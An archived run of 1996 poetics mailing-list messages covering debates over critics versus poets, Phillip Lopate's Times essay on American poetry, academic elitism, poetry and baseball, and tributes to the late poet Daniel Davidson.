Gwyn "Kwatzu! Gesundheit!"

↑ Index

201. Susan Schultz
Re: Assembling - Appreciations - Issues
Mon 9 Sep 1996

Re: John Cayley's comments. I did think that the inclusion of Chinese material was a good thing and did go against the whiteness of the conference. My only comment there would be that their work was billed as "Language writing"--in other words, they're included because they're "like us," as it were. I'll say no more because unfortunately (I gave a paper at the same time) I was unable to attend that panel.

all best, Susan

↑ Index

202. Christina Fairbank Chirot
poetry & baseball (fwd)
Mon 9 Sep 1996

---------- Forwarded message ----------
Date: Sun, 8 Sep 1996 15:52:56 -0500 (CDT)
From: Christina Fairbank Chirot <[redacted]>
To: [redacted]
Subject: poetry & baseball

> re comment using baseball as analogy for "playing it safe" in poetry--
>
> not so for Jack Spicer or Larry Eigner

Eigner early an avid listener to Red Sox games, used baseball statistics as way to develp memory in terms of visualization for doing mat--also for visualizing words--

Summers I was "good to myself"and every day waited for the Red Sox game on the radio--and you wanted the Red Sox to win today and win tomorrow whether they did or din't today . . . . maybe you're surprised when you forget to the extent you depend on memory . . . .

Remember/sabbath days to/keep time still/how multiple . . .

Eigner also listened to radio for Cid Corman's poetry show . . .

Spicer had his radio, too--the poet as radio--often tuned to baseball games--

"getting to first base"--Eigner has book called A Count of Some Things--from Score publications, Crag Hill's press

Spicer:

no telling what happened in this game. Except one didn't strike out. One feels they fielded it badly at second base.
Oceans of wildflowers. Utter logic of the form and color.

"Utter logic"--"speaking in tongues"--visualizing words--

"keep time still/how multiple"

Un coup de des n'abolira jamais le hasard . . . .

(or as Tug McGraw would say---You Gotta Believe
dbchirot

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203. Christina Fairbank Chirot
Art on the Edge of Fashion (fwd)
Mon 9 Sep 1996

---------- Forwarded message ----------
Date: Sun, 8 Sep 1996 18:34:49 -0500 (CDT)
From: Christina Fairbank Chirot <[redacted]>
To: [redacted]
Subject: Art on the Edge of Fashion

re: "From Outlaw to Classic'-fashion to museum--alternative to academy etc

'Art on the Edge of Fashion' at the
Arizona State University Art Museum

focuses on contemporary art that uses
the highly readable visual language
of clothing and fashion.

Invitation/Preview/Press Information WebPage...

http://asuam.fa.asu.edu/artedge/artedge.htm

Eight artists from across the U.S. and Canada
are featured in the exhibition:
Charles LeDray (New York), Christine LoFaso (Chicago),
Kerrie Peterson (Los Angeles), Elaine Reichek (New York),
Beverly Semmes (New York), Jana Sterbak (Quebec),
Nick Vaughn (Albuquerque), and Annie Wilson (Chicago).

February 1, 1997 through April 27, 1997.

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204. Sheila Murphy
test message
Mon 9 Sep 1996

Test

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205. Tom Mandel
(no subject)
Mon 9 Sep 1996

Dan Davidson was one of the most gifted and alive human beings I have known and I count myself lucky to have come to know him as well as I did, tho never well enough.

Only a couple of weeks ago, Dan asked me whether I thought we should send out a couple of earlier collaborative poems we'd done in preparation for Absence Sensorium, and we exchanged email about the production of AS just a few days ago. So I know he was thinking of the future, not of shutting down that future, quite recently.

I will miss him terribly.

Tom
Screen Porch
****
Tom Mandel * think
[redacted] * out
fax [redacted] * here

[redacted]*
****

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206. **Joe Amato**
Re: Assembling - (Paper)form(alitie)s - (Critics & Poets)
Mon 9 Sep 1996

---

just to throw in with john cayley on this question of emedia, and to suggest *one* way to functionalize helpfully: those of you with good internet resources might consider holding a pre-conference salon/symposium (even moo---though i prefer mself the less synchronous fora)... or setting up a provisional web site (which *could* comprise papers, poetry, etc.)...

it's been done before, sure, and sometimes to good advantage... i think in fact the poetry/critical thread could have been chewed over some with some positive results before convening... i'm not certain poetics is the place to do this (and i'm not the one to say), but it seems to me that there's a lot of potential for prefacing conferences through the internet...

joe

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207. **Douglas Messerli**
Re: Dan Davidson
Mon 9 Sep 1996

Dear Kevin,

Is this the same Daniel Davidson who wrote "Bureaucrat, My Love," some of which appeared in Gertrude Stein Awards in 1993-1994?

Douglas

At 09:13 PM 9/8/96 +0100, you wrote:
>We have some sad news to deliver. San Francisco poet Daniel Davidson died
>Saturday night, apparently by his own hand, after many years of pain
>following open heart surgery. Details are sketchy at this point, but more
>detailed obituaries will follow.
>
>I (Dodie) met Dan in the mid-80s (actually got to know him, since I'd seen
>him around) at the UCSF medical center where I was a temp secretary and he
>was coming frequently for follow-up for his heart surgery. He and I spend
>many an evening together discussing writing, living, music, art (and
>drugs). We were both avid about Messiaen's "Quartet for the End of Time"

>and sometimes we'd shut up long enough to listen to it at his apartment on
>Haight Street. I've never seen anyone live more grandly on a fixed income
>than Dan--he was amazing. Bringing home castoff clothing from the
>Salvation Army, dyeing them black, and cutting such a dashing figure. At
>that time Dan hadn't published much, but shortly afterward he became an
>important figure in the Bay Area writing scene, writing, giving readings,
>curating series. He taught an after-school program for small children at
>Small Press Traffic when it was still on 24th Street.
>
>I (Kevin) remember Dan always in the audience at every kind of poetry
>reading you could imagine, always with his own determined take on things.
>Perhaps because he came to poetry late, he was burning up with poetry
>fever, and he could be exhausting in his naked need to know more. And
>because he had this plastic heart valve he often thought of himself as not
>having much time. He was generous to a wide variety of young writers and
>attentive to his elders. I was glad to be able to write a "blurb" for his
>first book "Product." In recent years I didn't see him around much.
>Couldn't figure it out. The last reading I saw him give was with Bob
>Perelman at New Langton Arts, and when was that? At least 2 years ago. He
>shied away from all the events he used to shine at. Last month when Anselm
>Berrigan and Katie Lederer left for parts East, Dan came to the party for
>them--still Byronic, still dashing, but gray, gray.... and he and I talked
>then about this and that. God! The ironic thing is that he was scheduled
>to participate in the "Proliferation 3" reading Dodie and Mary Burger are
>holding at Small Press Traffic this coming Friday (the 13th). And now
>their plans are to make it into some kind of memorial in his honor, I
>guess.
>
>Sorry to fill up the bandwidth with all this info about Dan and us, but as
>you can see, we have the kind of grief that's hard to take hold of and make
>sense of--a grief not unmixed with guilt. I know that the book Dan wrote
>with Tom Mandel is coming out soon, the collaboration from Poets and Potes
>Press of which he was so pleased and so proud. That's something, tho'
>right now I don't know what.
>

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208. **Jordan Davis**

sans teeth (p lopate)

Mon 9 Sep 1996

Interesting invisibility of the avant-garde in Phillip Lopate's NY Times Book Review 'bookend' on contemporary American Poetry. Anybody read it? A fairly standard and caustic assessment of workshop poetry (tho Lopate refuses to identify it as such), such as you might see by R. Silliman or C. Bernstein circa 1980, but with this difference--Lopate thinks it just lacks sufficient _molarity_.

"Paradoxical as it sounds, American poetry today suffers not from being too personal and confessional, but from being not personal or confessional enough. Often the poet pulls back from providing just those biographical specificities and idiosyncratic reactions that would bring him alive as an authentic individual. Instead, there is a judicious ladling of images and metaphors and sense details to make the poem resemble that craft object, that Procrustean bed, the contemporary American poem; and the poet, abandoning onerous individuality, merges prematurely with the collective ethos. The result is that we do not encounter that many quirky, uniquely voiced individuals in poetry today. What we do encounter is a lot of half-baked sages, speaking piously for their tribal or communal sliver."

I'll forswear to kid Lopate's style, which is as monstrously post-Trilling as it gets (judges wield gavels, not ladles, btw), and look at, I mean characterize, his argument (which, echoing the title of the essay, singles out no particular 'weak poet'--David Shapiro's phrase). This is the Tarantino (Spielberg) argument, that American film has gotten too wimpy and needs strong narrative, explicit violence, and a good soundtrack. It is not dissimilar to the Gingrich (Reagan) argument, that American politics needs to put even more power in the hands of the very few who have power. I believe that American poetry does not need greater intensities of personality and confession _from those who would make a career of personality and confession_. No. Some, even a little, fun (in all the late capitalist haze of that word) would be enough to redeem _those_ poets, at least for the page or two one encounters them on when one is uncareful, ambitious, or lonely. As Lopate said nothing about _any other kind of poet_, I'll say nothing about _us_, except that I myself haven't felt the need to listen all the way through a baseball game since October 1986 (Attn: Steve Evans-- a more politic starting time for the current poetic era than 1989?). That probably says more about me than it does about poetry, but I can't believe _everybody_ who talks about 'personism' in terms of 'lucky Pierre' has that wild a life.

I would ask any poets reading this list who do _not_ believe that _all_ American poetry today is congruous with Lopate's assessment to write a brief letter stating so to:

The Editor
New York Times Book Review
229 W 43rd St
New York NY 10036

It is not that often that a critic both wrongheaded and genially capable of reading will get in the way so opportunely--anyway. Just thought some of you would enjoy thinking about it.

Jordan Davis

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209. **Jordan Davis**
Re: sans teeth (p lopate)
Mon 9 Sep 1996

Well that was a bad sentence. Obviously I mean that Lopate's criticisms of mainstream poetry are not that different from Langpo's criticisms of mainstream poetry. Have a nice thread!

J

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210. **Joseph Lease**
Re: sans teeth (p lopate)
Mon 9 Sep 1996

On Mon, 9 Sep 1996, Jordan Davis wrote:

> *Well that was a bad sentence. Obviously I mean that Lopate's criticisms of mainstream poetry are not that different from Langpo's criticisms of mainstream poetry. Have a nice thread!*
>
> *J*

Jordan,

I don't know yet what the sentence in question was but your choice to take on Lopate seems loaded, overdetermined, in a variety of ways you could profitably acknowledge. Obviously know-body on this list, including and especially me, would agree with the limits of Lopate's configuration. Although, within that configuration, there is much that he says that could do good and be the opposite of the Tarrantino/Gingrich equation you try for. David Shapiro's work is an example of work that does so much more than what Lopate says most postconfessional work does: and as you know Lopate has praised Shapiro's work for that very reason. By the way, what is the 86 versus 89 thing about. I read with

interest Dodie's post saying that Hejinian was happy to hear that people said Language poetry had been over for ten years. That seems a healthy and healthful and helpful response on her part, gracious as well. And presumably we can say over in one important sense continuing in another. Aesthetic breakthroughs are there for poets: surrealism is there, seventeenth century poetry is there, if one can make them convincing in one's praxis. So, and I see you were addressing Steve here, but, really, what is our current era.

Joseph

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211. Joseph Lease
Re: sans teeth (p lopate)
Mon 9 Sep 1996

On Mon, 9 Sep 1996, Jordan Davis wrote:

> *Well that was a bad sentence. Obviously I mean that Lopate's criticisms of mainstream poetry are not that different from Langpo's criticisms of mainstream poetry. Have a nice thread!*
>
> *J*

PS

And obviously I also mean that Lopate's criticisms of mainstream poetry are not that different from Langpo's criticisms of mainstream poetry. So though I'm not going to bumrush the times today I agree that everyone should. Not, obviously, under one banner but in the full glory of multiple communities with multiple histories to go with multiple poetics.

Joseph

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212. Ira Lightman
Assembling Alternative UK Criticism
Mon 9 Sep 1996

I was really glad for Joe Amato's statement that
we could safely assume on this list that we're
not talking about most critics (Ron Silliman's
justified attacks on Altieri etc notwithstanding).
Because there still seems to be so much prejudice
against critics. I think it's groovy that, as
Romana puts out, the by now infamous unnamed

Irish poet did go away with new books to read. But does that amount to an openness to those books? Or are they simply (as Derrida says critically about Freud's reading of The Emperor Has No Clothes story as being essentially about nakedness) going to use the "new" books to stage repetitions of their old solipsisms?

A lot of Uk "linguistically innovative" writers present a thinker as the guarantor of their work, without letting you say "how, given this and this", "why that thinker?", "why do you think that's what that thinker means?", a key idea for Derrida, one of the finest poets living. This critic/poet issue is crucial for current UK practice, because there simply is less exchange than in the US Language Writing scene. You can trace the way that Language Writers gave each other paradigms, accepting gracefully, not being scared to resemble each other; where UK poets often have to say "I saw it first, or, if you did, I can't use it". This was going to be the subject of the paper I offered to Romana for AA, though there was no money to go (and Romana battled to get me there till a week before).

I'm *not* saying I critic wish to control this situation and, if possible, somehow punish bad behaviour; I'm actually saying that I cherish poetic culture, and that critic-baiting solipsism endangers it. People are so scared of poetry and it is important to be careful and scrupulous towards them. Many many poets, in my opinion, unconsciously love this fear of poetry in their audience and use it to counterbalance their own fear of presenting their work in public - but it would be better if they did some confidence training! Otherwise, the fearful reader comes into the reading and is, I think, overwhelmed by the potentials of what might be (as people are when first

hearing a piece of complex music longer
and more various than a pop song, Philip
Glass thus not included on the latter count);
"where might this go next? anywhere! madness!
revelation!" you hear the audience's brains
going. If a poet says "here is the return
of the Irish longpoem", many audience members
will take it in, without thinking what long
and short might mean, and repeat it to
others and by canon-idealism refuse to read
work that differs from that canon-definition;
and, again, I think many poets want this,
to pull up the ladder behind them, to be
the Last Poet. But it destroys poetic culture, it
privatises it round that one poet.

Sometimes I think, with Chris F perhaps?,
there should be no criticism *whatsoever*,
although I for one used Marjorie's books
as a bible/anthology (like a younger
generation carried The New American Poetry
round?) more than In The American Tree
(tho this has become my favourite
book, it took me years, literally, via
Marjorie, to get into it, to know how
to stand in it, to not feel scared and
lost and I want to go home).

But then this is why, as somebody
indicated shouldn't be said, poets
should be told as forcefully as critics
are being on this list (another false
dichotomy: poets are easily hurt,
critics can take it) to shut up;
no remarks at all. Or be more accurate.
Because either the former, silence,
or the latter, accuracy, respects the
fear of the newcomer but allows the
newcomer respect and space and slow
careful nurturing into poetic culture
(which is a way of being, as Cage
might have said, not a cult round an
author; it is the author's privilege

to facilitate it, to stimulate it not
frame it with one's art).

If it is
aggression by a critic, to say shut
up, it is on behalf of the audience
and, indeed, the higher way that the
poet could enjoy if more in tune
with the audience.

This poet/critic thread is not irrelevant
to a conference bringing together (primarily)
Uk poets and Us Language Writers; it may
well be not what a lot of people want to
come out of AA, but it is a key issue in
British experimental poetry, which has a
much smaller regular audience than a lot
of US poets of similar publication longevity,
and, I think, largely deserves it, in acting
fearfully towards fear.

Ira Lightman

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213. **maria damon**
Re: critics & Poets
Mon 9 Sep 1996

---

j hansen sez: The irritation at critics, though, has a real basis. When at SUNY-Buffalo I overheard one graduate student in film studies tell another that it was interesting to hear the filmmaker discuss her work because "artists never know what they are really doing."

i say: i've observed this too; u of mn grad student criticizing Claude Lanzman, of all people, for his belief that an artist/filmmaker (himself) was really accomplishing something in approaching the unspeakable...they found it theoretically naive. with all respect to grad students on the list, i find this to be more typical of grad students who are learning to be "academics" than of seasoned "critics" or academics who actually interact w/ artists a lot...but much of this is a reaction to the daze when critics/academic saw their primary task as transmitting, with a bullying sort of messianic energy (cf dead poets' society) an uncritical worship of certain texts and certain GENIUSES. etc md

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214. **Christina Fairbank Chirot**

CONSCIOUSNESS REFRAMED

Mon 9 Sep 1996

---

re Jeff Hansen's note--the student who thought that artists don't know what they are saying anyway--

Marcel Duchamp liked to point out the phrase, "bete comme un peintre'--say it gave him some 'food for thought" so to speak--to make art that demontrates art as thinking--

of course this has given rise to an industry of interpretations--(among them the Kabbalah as I think some one pointed out in a previous thread--)--leading Robert Smithson to propose Duchamp as an Occultist--

(or a cult figure . . .)

Smithson wrote of an "art of looking"--as opposed to "art objects"--

which leads to one of questions of poets/critics thread--who owns, controls, maps out territories--of what is called poetry--re Emerson--notice ways he discusses property in relation to the poet in "Nature" and "The Poet"--

from "Nature": There is a property in the horizon which no man has but he whose eye can integrate all the parts, that is, the poet."

But such discussion also occurs in relation to creation of American 'original relation to the universe"--hence caught up in issue of a National Culture--and becomes complicated--

In "The Poet" : the poet is 'Land-Lord, air-lord, sea-lord"--again poetry and property--

A Russian critic of Marinetti's visit to Russia before WWI pointed out that Marinetti's ruptures of syntax in his Parole in Liberta did not nothing to change property relations

since the rights of private property are inscribed in the U.S. Constitution--seems appropriate to examine aspects of the poets/critics threads in the usa in relation to mapping of territories, controlling and owning of such, distribution of it . . .

presentation of poetry via the academy--what is taught in classrooms--as this may have as much effect long term as criticism etc--(this list after all being presented through academic system)

and this in relation to
debates going on over dissemination
and control of e networks, e mail--and virtual reality, cyberspace--

so here a conference on aspects of virtual art which may be of interest

dbchirot

F
orwarded message -
--------- Date: Mon, 9 Sep 1996 10:56:18 +0100
From: NECHVATAL Joseph <[redacted]>
To: [redacted]
Subject: *CONSCIOUSNESS REFRAMED*

I am serving on the advisory board for an upcoming International Conference entitled "CONSCIOUSNESS REFRAMED" which is being conducted at CAiiA, the Centre for Advanced Inquiry in the Interactive Arts, at the University of Wales. We are holding this International Conference on July 5,6 in 97.

My area of interest involves VR & theoretical avant-garde artistic spacial constructs of VR information. The topic heading will be : " Deframed Perceptual Spaces : mirrorings, imaginings, replicas & copies of mirrored images".

There are other topics groups in development as well. Here they all are:

* Mapping and Responsive Visualisations
* Public-Personal
* Sonic Reembodiment/Disembodiment
* Left Brain Navigation
* Cyberception and Paranature
* The Cybernetics of Architecture
* Community of Ahomogeneous Systems
* Dream Consciousness Reality
* Transformations and Future Body

I'm looking for avant-garde art related papers on these subjects. If interested please contact me at: [redacted]

Feel free to circulate this notice.

Joseph Nechvatal @ Paris
http://www.dom.de/arts/artists/jnech/
http://www.cybertheque.fr/galerie/jnech

Data only becomes information if it changes something.

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215. **Jeff Hansen**
critics & Poets
Mon 9 Sep 1996

Three cheers for Michael Boughn,

The argument that criticism could exist without literature has been bunk since the insecure new critics used it to try to shore up their claim to intellectual legitimacy. (Yes, we are as objective as the scientists.) Criticism certainly has a role to play, but to pretend that it could exist w/o literature is as ridiculous as claiming that natural science could exist w/o nature.

There is, however, a reciprocity. Critics do help poets: by placing our work in historical context, by evaluating us (sorry, but at some point this is an institutional necessity and it must and will be done--distasteful, though.), by explaining what we do, by championing some of us. We are perhaps in some sort of symbiosis.

The irritation at critics, though, has a real basis. When at SUNY-Buffalo I overheard one graduate student in film studies tell another that it was interesting to hear the filmmaker discuss her work because "artists never know what they are really doing."

Such critical arrogance is commonplace today: Many critics need to hold on to the naive myth of artists as romantic primitives, bellowing out inspired works that they do not understand. [Note that this myth was applied to artists by Plato and was one of the reasons he banned them from his Republic: they are intuitive and inspired rather than rational.] It serves them well. It makes the critics more important than the artists.

finally, marjorie Perloff has done so many poets and the poetry community in general a service by her advocacy of us to other academics and the public at large. I appreciate all that she has done, and I know from her writings that she has more respect and love for art than do most critics. I feel that I can understand why she reads. With many critics, I'm left wondering: Do you actually enjoy reading?

Jeff Hansen

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216. Jordan Davis
mookie (loop) ten years after
Mon 9 Sep 1996

I am referring to the Buckner bobble, of course, as the moment in 1986 (glorious revolution?) from which I date this different feeling. If as you say my writing against Lopate (from within the offices of an organization he practically invented) is 'overdetermined' then I have written so to remain within some semblance of the limits of the terms of Lopate's (unambiguous) argument. Does this make me a sucker? To want to show that _even within Lopate's version of poetry, his argument is conservative?_ I am not quite sure what overdetermined

might mean here. It sounds like 'written in crayon' or 'written as if through forty sheets of carbon paper' to me most of the time. Now if you want to read Lopate's argument (from the one paragraph I took from a full-page piece) as a variation on the archetypal language cry of "Resistance!" then fine. I'm French, I won't call that bluff. But I don't see it. Instead, I see a contrarian opening a possibility for public non-debate--one in which everyone involved may profit in column inches, and in which risk will remain fairly low _as long as nobody names names_. Elsewhere in the essay, Lopate seems to take as a given the evolution of the contemporary American poem into a truncated personal essay. In the spirit of Sheila Murphy's test message, I ask you again, true or false. You will ask, can we really take the NY Times Book Review seriously. What sort of question is that? Is there no talking to the deans of Columbia College, or the Princess Caetani, or the listserv manager, or Chip McGrath? Really? If there is no 'taking on' willful ignorance when it blunders on in public, then all this discussion is really about is making sure our names appear. That--that jumping on the wrong, and doing one's best to avoid it in one's own work--is what excites me about the anonymous writing on this list, it's what thrills me about many recent chapbooks from anonymous and minuscule presses, it's why I go to readings and host them and give them, because it is profoundly exciting to be saying something, anything, that is _not_ recognized, that _cannot be_ recognized by the literary and publishing public, not through any fault of theirs _or_ my own. When Aram Saroyan, fed up with New York and the poetry-consuming public of the early 70s, left for the west coast, he wrote an open letter to the Poetry Project Newsletter. It was kind of silly. There were a lot of underlined words. In the subsequent issue of the Newsletter, a letter signed I think it was "The New York School" appeared, listing all the words Saroyan had underlined. A funny satire does a famous amount of work, even if it marks the few people capable of it with the word 'humorist'--a word no one has yet gotten out from under, though most of the truly and consistently funny writers of the last 10,000 years have tried. I'm not proposing that someone call Lopate a humorist--habeas corpus, etc. But why the surrealists, why the seventeenth century? Why not the silver poets, or the negritude poets, or anybody? Why only the A+ movements--consider the context and the unstated requirements of the A plus. Or don't, I don't want to discuss _my_ private life either. I guess all I wanted was to posit a mainstream other, you know, not for _electioneering_ but to provide some focus, some _context_ for the discussion about poets/critics.

Okay!
Jordan

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217. **Burt Kimmelman**
Re: sans teeth (p lopate)
Mon 9 Sep 1996

Jordan,

Thank you for so eloquently summing up my frustrations at Lopate's pot shots.

Burt

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218. **Tony Green**
Re: "Poets vs. Critics"
Mon 9 Sep 1996

Good move, Dodie. best

Tony Green,
e-mail: [redacted]

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219. **maria damon**
Re: Conceptual crit?
Mon 9 Sep 1996

---

filch rites: If a bunch of academics can get together and call themselves and the poetry they study to be "alternative" then it certainly makes sense that "elitism" would be a tad confusing to those academics.

i rite: i take exception to your tone. i know the meaning of the word "elitist." i am familiar with its uses, particularly the way it gets tagged onto anything one wants to diss. the assumption is that elitism is bad, and one should go to any and all measures to avoid being called "elitist." i'm not a stupid person, and i'm not a bunch of academics calling things things. md

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220. **filch**
Re: Conceptual crit?
Mon 9 Sep 1996

This thread arose directly out of critic/poet thread.

> *i rite: huh? where in the thread did "inherent elitism" rear its nonsensical head? never mind...i sd i'd retire..just procrastinating on my next project...bests to you, rob xo, md*

If a bunch of academics can get together and call themselves and the poetry they study to be "alternative" then it certainly makes sense that "elitism" would be a tad confusing to those academics.

Correct me if i am wrong - is it not true that the majority of publishing poets today are associated with universities? Is it not true that 99% of the (limited) money to be made in poetry; whether grants, stipends, (royalties - granted I'm sure there is not a lot of that), or salaries go to those in the academy?

It strikes me that the assembling of alternatives would entail getting the poet who goes into the prisons and workshops with prisoners, or the poets who recite verse on the subway on the weekends to the upwardly mobile and homeless. Nirvana at the end was so alternative you could see their "alternativeness" in every record store in the land. They were so alternative Cobain put a shotgun in his mouth to escape the alternatives.

It might make sense within the academy to gather writers together under the auspices of a university and say things like "we were able to gather the entire Irish avante garde together for this conference" or we are "concerned about the lack of people of color at the conference" but don't for a minute believe this is done without elitism. The avante garde cannot be found within the academy no matter how linguistically interesting the work may be. The status quo is in the university and no matter the battles which rage within the academic community of langpo vs not or whatever as long as the status quo resides within the university it cannot honestly claim "alternative" or "avante garde" for itself.

I would go so far as to say that since, to my limited knowledge, poetry has never been involved to a great extent in the commercial realm that Bob Holman's producing of poetry shows for Toyota is far more avante garde than anything at all going on in the academy. To that extent (mt)v is far more avante garde as well in that it has given voice to poetry outside of the academy as well.

Today's situation is analogous IMHO to the soviet era of the writer's union. Far more valuable work is going on now within the "union" but please don't pretend it's not a union. "Inherent elitism" is not nonsensical to me.

cf

> *i rite: huh? where in the thread did "inherent elitism" rear its nonsensical head? never mind...i sd i'd retire..just procrastinating on my next project...bests to you, rob xo, md*

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221. **Tony Green**
Re: Assembling - (Paper)form(alitie)s - (Critics & Poets)
Mon 9 Sep 1996

John Cayley's comments on the Rite of Reading Papers (= Conference) hit home. Recently there was an invitation to a Visual Poetry Conference. In an e-mail exchange I learned that if I was unable to go (New Zealand to Canada) to the Conference, I could send a poster. I enquired whether the poster was to represent a paper or a visual poem. No reply. At a conference here in Auckland this year, the problem of appropriate discourse came up again, a conference on Narrative. Should a conference on narrative consist of critical papers on narrative or should it largely consist of narrations which concerned, or related to, the "conceptual" base ((avoiding the word "theory" here)) of narrative?

Where's the differences, then?. Between conference papers and narratives? between philosophical, conceptually analytical discourses, and narrative? what would Plato have to say?

reading The Protagoras last week, I note that Platos has Socrates begin by telling the story of his encounter with Protagoras. Protagoras, at one point in this story, asks Socrates and the other persons present, whether he should explain something or tell a story. He tells a story which turns into an explanation as it goes, that is to take advantage of the narrqative by pointing to what is ssalient to his "argument". Plato also represents even the longest of the discourses as if they are spoken and off the cuff at that.

What authorises the peculiar practice of the modern academic conference? in which there is a cleqr divide between speaker and listener roles, often with little chance for discusssion.

best
Protagoras last week3sanrratives

Tony Green,
e-mail: [redacted]

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222. **maria damon**
Re: Conceptual crit?
Mon 9 Sep 1996

---

hey wow. i'm touched. i guess my point is that i've seen the term "elitist" used in so many contradictory ways (but always negative) that anyone can call anything elitist and have it mean not much more than "i feel left out." i was a diehard anti-elitist as a grad student in stanford's modern thought and lit, and was mortified to see a profile of our program characterize the student body as a

group who "enjoyed their status as a small and selective elite." then i came to the u of mn, a huge public landgrant univ, whose lack of "real" elitism led to a yucky kind of status anxiety on the part of faculty etc; they outdid each other in wearing tweed, going to the symphony, bewailing low student achievement -- and calling those of us who were younger and theory-literate both "elite" and "yahooistic" depending on immediate context. my students, as i've said, use the word "elitist" to describe a text containing words that are more than two syllables. at the same time, they expect their college education to give them a familiarity w/ "the classics" that will enable them to get a good money-making job...the contradictions are endless and obvious. etc.md

In message <v02130502ae5a50922e0d@[198.147.97.100]> UB Poetics discussion group
writes:
> I publicly apologize to Maria. Upon rereading my post it is indeed too
> confrontational.
>
> I believe my points are valid but my tact is lacking.
>
> pher
>
> >filch rites:
> >If a bunch of academics can get together and call themselves and the poetry
> >they study to be "alternative" then it certainly makes sense that "elitism"
> >would be a tad confusing to those academics.
> >
> >i rite: i take exception to your tone. i know the meaning of the word
> >"elitist." i am familiar with its uses, particularly the way it gets tagged
> >onto anything one wants to diss. the assumption is that elitism is bad,
> >and one
> >should go to any and all measures to avoid being called "elitist." i'm not
> a
> >stupid person, and i'm not a bunch of academics calling things things.
> >md

↑ Index

223. **filch**
Re: Conceptual crit?
Mon 9 Sep 1996

I publicly apologize to Maria. Upon rereading my post it is indeed too confrontational.

I believe my points are valid but my tact is lacking.

pher

> *filch rites:*
> *If a bunch of academics can get together and call themselves and the poetry they study to be "alternative" then it certainly makes sense that "elitism" would be a tad confusing to those academics.*
>
> *i rite: i take exception to your tone. i know the meaning of the word "elitist." i am familiar with its uses, particularly the way it gets tagged onto anything one wants to diss. the assumption is that elitism is bad, and one*
> *should go to any and all measures to avoid being called "elitist." i'm not a stupid person, and i'm not a bunch of academics calling things things.*
> *md*

↑ Index

224. Tony Green
Re: poetry & baseball + RADIO
Mon 9 Sep 1996

English writers of a certain age will find it difficult to evade acknowledging the influence on poetics of such grand figures as Raymond Glendenning and John Arlott. Rado commentators on sports action perform what I take to be an important language/poetic function. best

Tony Green,
e-mail: [redacted]

↑ Index

225. Tony Green
Re: test message
Mon 9 Sep 1996

Yout test score: 100%

Tony Green,
e-mail: [redacted]

↑ Index

226. Joseph Zitt
*Re: *CONSCIOUSNESS REFRAMED**
Mon 9 Sep 1996

On 9 Sep 96 at 12:09, Christina Fairbank Chirot wrote:

> *Marcel Duchamp liked to point out the phrase, "bete comme un peintre'--say it gave him some 'food for thought" so to speak--to make art that demontrates art as thinking--*

For the few of us out here who don't speak French: What does that phrase mean? ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Dallas, Texas \||| ||/ Question Authority, The == SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt == <*> <*> == The Data Wranglers! \|

↑ Index

227. Eliza McGrand- CVA Guest

Notice to critics, writers and/or readers -- E-Zine

Mon 9 Sep 1996

---

since everyone else is posting ezine info on the web, here is mine: i am assistant editor at an ezine on the web called Free Cuisenart, the literary magazine for Creative Coalition of Artists (CCA), the site organized about a year ago to fight censorship on the net

Free Cuisenart had a special international issue in August featuring Viktor Carr's essay on growing up in Croatia, poems by Karen McKevitt, Tom Hubschman, Martin Auer, Jim Gourley, and Liz Thelen, and a short story by Trevor Reeves. The August "Wowzine" issue can be found at: http://www.stjpub.com/cca/fca.html

This month's issue has an interview with Stephen Williamson (editor and co-creator of _Motley Focus Locus_), poems by LeeAnn Heringer, Ray Heinrich, Taylor Graham, Bruce Bentzman, Sean Curtis Brendan-Brown, David Kitchel, Michael McNeilley, Richard Fein, and CyberClem, a story by Trevor Reeves, and an incredible poem/essay on living in Canada by semi-regular to regular (he is charmingly noncommittal) Viktor Carr. All the work, of course, is incredible and i don't just say that because i work there.

we are always looking for readers, of course, but we are also looking for writers. if you'd like to send us work, the email address is: [redacted]

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228. Christina Fairbank Chirot

duchamp quote

Tue 10 Sep 1996

Joseph Zitt--apologies for ye elitist untranslated french quote--

bete comme un peintre--means stupid like a painter (bete means beast,animal--so painter a stupid animal, or dumb beast so to speak--)(for the

millions of kids who know "bete" from the Disney Beauty and the Beast--"bete" like a painter--might seem a little surprising and funny--) --dbc

↑ Index

229. **George Bowering**
Re: poet, critic, & umpire
Tue 10 Sep 1996

> *George, Emersonian Cricket is when you hit the ball with the paddle hard enough to awaken it to the beauty of nature and the transcendental world beyond this one. In this way it vaguely resembles Zen Lacrosse.*
>
> *Gwyn "Kwatzu! Gesundheit!"*

Ah! It sounds a lot like what we call Shelleyan Badminton.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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230. **George Bowering**
Re: mookie (loop) ten years after
Tue 10 Sep 1996

> *I am referring to the Buckner bobble, of course, as the moment in 1986 (glorious revolution?) from which I date this different feeling.*

I believe that the Buckner Bobble was one of those momentous events that you remember the way you remember Kennedy's killing. Like, where were you when Buckner let Mookie's weak grounder go thru him?

I was in a bar in Cleveland, watching the game on TV, across the street from Muni Stadium. Unfortunately, I was drinking with a bunch of guys from New York! Damnit! George Butterick was one of them.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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231. **henry**
Re: poet critic critic poet...
Tue 10 Sep 1996

Have to agree with Joe (hey, I was a main culprit). To criticize the easy critics - why can't the list have several topics going, without getting badmouthed? You want reminiscences about the conference, instead of po/crit debates - ok, just ask for them. You want to discuss something else - fine, bring it up. But don't play the one-up game every time you have an opener. (I'm trying to take my own advice.)

Mike Boughn & Joe Amato brought up what seems to me the basic issue, at the root of all the framing discomfort. If poetry is simply a human activity, under human control - then we can make it whatever we want. The categories of poetry/prose/cricitism etc. are up to us. This is a gray area - in a certain sense, it can't be denied - everything is socially constructed. But what I was trying to emphasize, & what the Steiner quote was about (partly), is that in creative work there is a certain rawness, a LOSS of control, a surrender - to inspiration, the Muse, the Other, whatever you want to call it. This is where the rawness, the originality, the ghettoization, the discomfort, the Platonic exile, the glory/shame of it are all about. How much is a scientist "in control" when s/he comes up with an earth-shaking new theory or discovery? Poetry is the surrender to strange coherence (sorry for the "poetry is..." phrase). And if it's purely a strategic choice on my part to try to differentiate between poetry & criticism it's not to ghettoize them or antagonize them but to bring out something that's really there, whether in fusion with criticism or not. - Henry Gould

↑ Index

232. **Robert Drake**
Re: Conceptual crit?
Tue 10 Sep 1996

(filch):
>Correct me if i am wrong - is it not true that the majority of publishing
>poets today are associated with universities? Is it not true that 99% of
>the (limited) money to be made in poetry; whether grants, stipends,
